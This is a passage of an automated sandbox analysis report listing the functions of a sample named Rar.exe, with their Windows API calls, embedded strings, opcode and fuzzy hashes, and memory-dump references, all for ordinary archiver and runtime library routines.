API ID: CreateFile$CloseControlDeviceHandle
String ID:
API String ID: 998109204-0
Opcode ID: 9b5b67f28af1e3bf8befa894b71025de341cda7affafa6aac806b2e22afd9bdd
Instruction ID: 28ae604b707d04e2a7d7b3b50dd019c01b320dd1d3ba99eb20db584edecc2764
Opcode Fuzzy Hash: 9b5b67f28af1e3bf8befa894b71025de341cda7affafa6aac806b2e22afd9bdd
Instruction Fuzzy Hash: AB218422A2868182EB208F11F4557AB6764FB987F4F000334EABD47BD9DF7DC1848B04

Function 00007FF6F67FE130 Relevance: 6.0, APIs: 4, Instructions: 44threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6F67FE18D
SetPriorityClass.KERNEL32 ref: 00007FF6F67FE198
GetCurrentThread.KERNEL32 ref: 00007FF6F67FE19E
SetThreadPriority.KERNEL32 ref: 00007FF6F67FE1A9

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CurrentPriorityThread$ClassProcess
String ID:
API String ID: 1171435874-0
Opcode ID: 856e4172404a87b2e4eaadc72b1cdf8b092a5338e597392e84e2f115418c8751
Instruction ID: c3f682fbaa96b61448acf13b9446118da41eb8c9e16283f6e50a658cd032f654
Opcode Fuzzy Hash: 856e4172404a87b2e4eaadc72b1cdf8b092a5338e597392e84e2f115418c8751
Instruction Fuzzy Hash: 8B115231E18602E7E7548B16D8A463C726EFBC4B40F204034C73E966C1EF3E794A4791

Function 00007FF6F6818230 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6F6812B8C,?,?,?,00007FF6F6814999), ref: 00007FF6F681823A
SetLastError.KERNEL32(?,?,?,00007FF6F6812B8C,?,?,?,00007FF6F6814999), ref: 00007FF6F68182A2
SetLastError.KERNEL32(?,?,?,00007FF6F6812B8C,?,?,?,00007FF6F6814999), ref: 00007FF6F68182B8
abort.LIBCMT ref: 00007FF6F68182BE

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: c9a6ea005a6fd2e37a72a03ed52a2a473177c377e04a271c3ac9bf6c2167f5a1
Instruction ID: 4f700af291606c84ca85c9759d915f3726fbb30f6fe1236b28220318a332e0be
Opcode Fuzzy Hash: c9a6ea005a6fd2e37a72a03ed52a2a473177c377e04a271c3ac9bf6c2167f5a1
Instruction Fuzzy Hash: 1A015E50F29A0286FB5AA771A65B17912995F5C790F08053CD93FC6BD7FD2FE8414230

Function 00007FF6F67FE494 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F67FE828: ResetEvent.KERNEL32 ref: 00007FF6F67FE841
Part of subcall function 00007FF6F67FE828: ReleaseSemaphore.KERNEL32 ref: 00007FF6F67FE857

ReleaseSemaphore.KERNEL32 ref: 00007FF6F67FE4C0
CloseHandle.KERNEL32 ref: 00007FF6F67FE4DF
DeleteCriticalSection.KERNEL32 ref: 00007FF6F67FE4F6
CloseHandle.KERNEL32 ref: 00007FF6F67FE503

Part of subcall function 00007FF6F67FE5A8: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF6F67FE4AB,?,?,?,00007FF6F67D8B36,?,?,?), ref: 00007FF6F67FE5AF
Part of subcall function 00007FF6F67FE5A8: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF6F67FE4AB,?,?,?,00007FF6F67D8B36,?,?,?), ref: 00007FF6F67FE5BA

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 9f204538e57bd7caf5ff709f02857af7f2a2e37962c28f3c739e14ccf1994b1b
Instruction ID: 2e6985ee0137aa103a1f075d06a788f75eddcd605118d3e6e1ff7cfc77ff4c68
Opcode Fuzzy Hash: 9f204538e57bd7caf5ff709f02857af7f2a2e37962c28f3c739e14ccf1994b1b
Instruction Fuzzy Hash: 05015632A24A51A7E7549B21E95466DB325FBC8B80F404035DB7D43691DF3AF4B0C790

Function 00007FF6F6818FE8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F681902B

Strings

gfff, xrefs: 00007FF6F6819156
e+000, xrefs: 00007FF6F68190D3

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 40240c9c75ee2c82d04161147f07f2c39b07a9fd8ffa2a95abad3a206cde7e3f
Instruction ID: 5b0c76ce0bd0f8208ef6e22c241c677138d93378772720ad3cc3df4980a5c19c
Opcode Fuzzy Hash: 40240c9c75ee2c82d04161147f07f2c39b07a9fd8ffa2a95abad3a206cde7e3f
Instruction Fuzzy Hash: C2517F62B287C146EB248F35994136D6B99E740B94F089239C7BDC7BD6EF2ED484C710

Function 00007FF6F67E7550 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(00000801,00000800,00000000,00000800,?,00007FF6F67D485D), ref: 00007FF6F67E764D

Strings

UNC, xrefs: 00007FF6F67E762E
\\?\, xrefs: 00007FF6F67E75D3, 00007FF6F67E761C, 00007FF6F67E7699, 00007FF6F67E76E9

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: cde43573f946bfcc36dc976ec9b13867af7998709b718bf9a09a3f843f5bd475
Instruction ID: ffbd29f3c4bad2e1a2fa8e769ec5060cbc1edba895a4ac0741dced1882919c2c
Opcode Fuzzy Hash: cde43573f946bfcc36dc976ec9b13867af7998709b718bf9a09a3f843f5bd475
Instruction Fuzzy Hash: D741DF11E0C28284EB30AB15D0212F963A9EF25BD8F448535DE7E876C6FF6EE189C350

Function 00007FF6F67E9E80 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 111COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67E9ECE

Strings

1000, xrefs: 00007FF6F67E9ED3
-rr%u, xrefs: 00007FF6F67E9EBD

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: swprintf
String ID: -rr%u$1000
API String ID: 233258989-239198766
Opcode ID: bb99549ccb71cf03de286ed5543d8a54275c698463e83a05274e9f45080c7212
Instruction ID: e9968399e6cc75723397469680566d70d0baf4187f485343a97ed90eb9f4901a
Opcode Fuzzy Hash: bb99549ccb71cf03de286ed5543d8a54275c698463e83a05274e9f45080c7212
Instruction Fuzzy Hash: CD41FEB2B0474587EB18CF2AE4507A836A9FB58B84F408439EB1D87B95EF3DE525C700

Function 00007FF6F6816F34 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6F6816F5E
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF6F680D475), ref: 00007FF6F6816F7F

Strings

C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe, xrefs: 00007FF6F6816F6D

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
API String ID: 3307058713-1866792594
Opcode ID: be0aa33c51e16dbac27e7c22d73c15fc989608654f647c9cb7ba6b01da7f28be
Instruction ID: cb6361584e3abc88637106a861fb5c1919a1f761ecace369e6d27ad91d2848a8
Opcode Fuzzy Hash: be0aa33c51e16dbac27e7c22d73c15fc989608654f647c9cb7ba6b01da7f28be
Instruction Fuzzy Hash: 38418072A28B5285EB14DF25A4400BD679CEB44794F54403DE97E87BC5EF3FE8818320

Function 00007FF6F67F67A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67F682D

Part of subcall function 00007FF6F68006F0: WideCharToMultiByte.KERNEL32 ref: 00007FF6F6800721

Strings

$%s, xrefs: 00007FF6F67F681A
@%s, xrefs: 00007FF6F67F6811

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: ByteCharMultiWidesnprintf
String ID: $%s$@%s
API String ID: 3570271137-834177443
Opcode ID: 1027ad9370af1450bc1170df8e020764d7d4da226bbee7ce31020b6a47d88d9f
Instruction ID: 521c5e8c3cf15c361ec02bb7b8060c3430b81b45fa6f8ad1f09bc73a8e50f1ff
Opcode Fuzzy Hash: 1027ad9370af1450bc1170df8e020764d7d4da226bbee7ce31020b6a47d88d9f
Instruction Fuzzy Hash: 2431B1A2A28A4295FB108F15E450BFA236CFB45B84F40403AEE6D877D5FE3EE505D340

Function 00007FF6F67F2268 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67F22C6

Strings

fixed., xrefs: 00007FF6F67F22AC
fixed%u., xrefs: 00007FF6F67F22BA

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: swprintf
String ID: fixed%u.$fixed.
API String ID: 233258989-2525383582
Opcode ID: cec840d856c6b78474c475f1228a6b1deecc606b1f94c3f70a6bef063dddffd4
Instruction ID: e873e68f8de9a6662d6848a4d6d3400964777f0b9a66a6c3fde2b59810af0f32
Opcode Fuzzy Hash: cec840d856c6b78474c475f1228a6b1deecc606b1f94c3f70a6bef063dddffd4
Instruction Fuzzy Hash: 9531F562A1C68191EB109B25E4107EA6368FF95790F900132EEBC876D9FF3ED046CB50

Function 00007FF6F67F76DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6F67F7763
LoadStringW.USER32 ref: 00007FF6F67F777C

Strings

Extracting %-56s, xrefs: 00007FF6F67F7704

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: LoadString
String ID: Extracting %-56s
API String ID: 2948472770-2815777282
Opcode ID: b55fdb3f8f31a9be59d7eef25dc9975069914fb43e096edfe0e2d1295eb72192
Instruction ID: d7081e5b5cc2e6c6c29652132f62b4f43deed8e597f31d90bd1c4974fdf32ead
Opcode Fuzzy Hash: b55fdb3f8f31a9be59d7eef25dc9975069914fb43e096edfe0e2d1295eb72192
Instruction Fuzzy Hash: C1118B79B28A4186E710CF1AA86046877A8BF99FC4B544039CA7CD37A0EE7EE5008394

Function 00007FF6F67B6644 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67B66AB
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67B66BF

Strings

;%%0%du, xrefs: 00007FF6F67B669A

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: swprintf
String ID: ;%%0%du
API String ID: 233258989-2249936285
Opcode ID: cf89702e60694b7e62df8f972b04e90158154accb37ce6c7f8e6de0e387f8702
Instruction ID: 853c0dc223f53ee6f9a4830e517a45e970f636d7e5684f4f994da0dce62cab4d
Opcode Fuzzy Hash: cf89702e60694b7e62df8f972b04e90158154accb37ce6c7f8e6de0e387f8702
Instruction Fuzzy Hash: BF110462B0868042EB20DB20E0217EA7364FB84B88F944135EF9C876D9FE3DD949CB40

Function 00007FF6F67D5D30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6F67E72DC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6F67E7321

GetVolumeInformationW.KERNEL32(?,00007FF6F67BAA45,00000000,?,00000000,00000000,?,00000000,?,00007FF6F67BBFF9,00000000,?,00000000,00000000,00000003), ref: 00007FF6F67D5D92

Strings

FAT, xrefs: 00007FF6F67D5D9C
FAT32, xrefs: 00007FF6F67D5DB1

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6859000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646436047.00007FF6F6868000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6f67b0000_Rar.jbxd

Similarity

API ID: InformationVolumeswprintf
String ID: FAT$FAT32
API String ID: 989755765-1174603449
Opcode ID: 4c0a07b6ad7e98c8fbfb1dc1d8d1f2f3924c9ec4541f19895eb4530544dc36e8
Instruction ID: f000bde14a0e49f7327769a7b8d2b4ef2ba5b91a3737a4171de2142a6ffa22d5
Opcode Fuzzy Hash: 4c0a07b6ad7e98c8fbfb1dc1d8d1f2f3924c9ec4541f19895eb4530544dc36e8
Instruction Fuzzy Hash: C4119461628A8246FB60DB10E8952EA6369FF95344F501035EAACC3AD5FF3ED104CB14

Function 00007FF6F680E258 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6F67B6D9F), ref: 00007FF6F680E29C
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6F67B6D9F), ref: 00007FF6F680E2E2

Strings

csm, xrefs: 00007FF6F680E2CF

Memory Dump Source

Source File: 00000010.00000002.2646095190.00007FF6F67B1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF6F67B0000, based on PE: true

Associated: 00000010.00000002.2646054279.00007FF6F67B0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646176277.00007FF6F6823000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646217698.00007FF6F6839000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F683B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F6845000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.2646252478.00007FF6F684F000.00000004.00000001.01000000.0000000B.sdmpDownload File
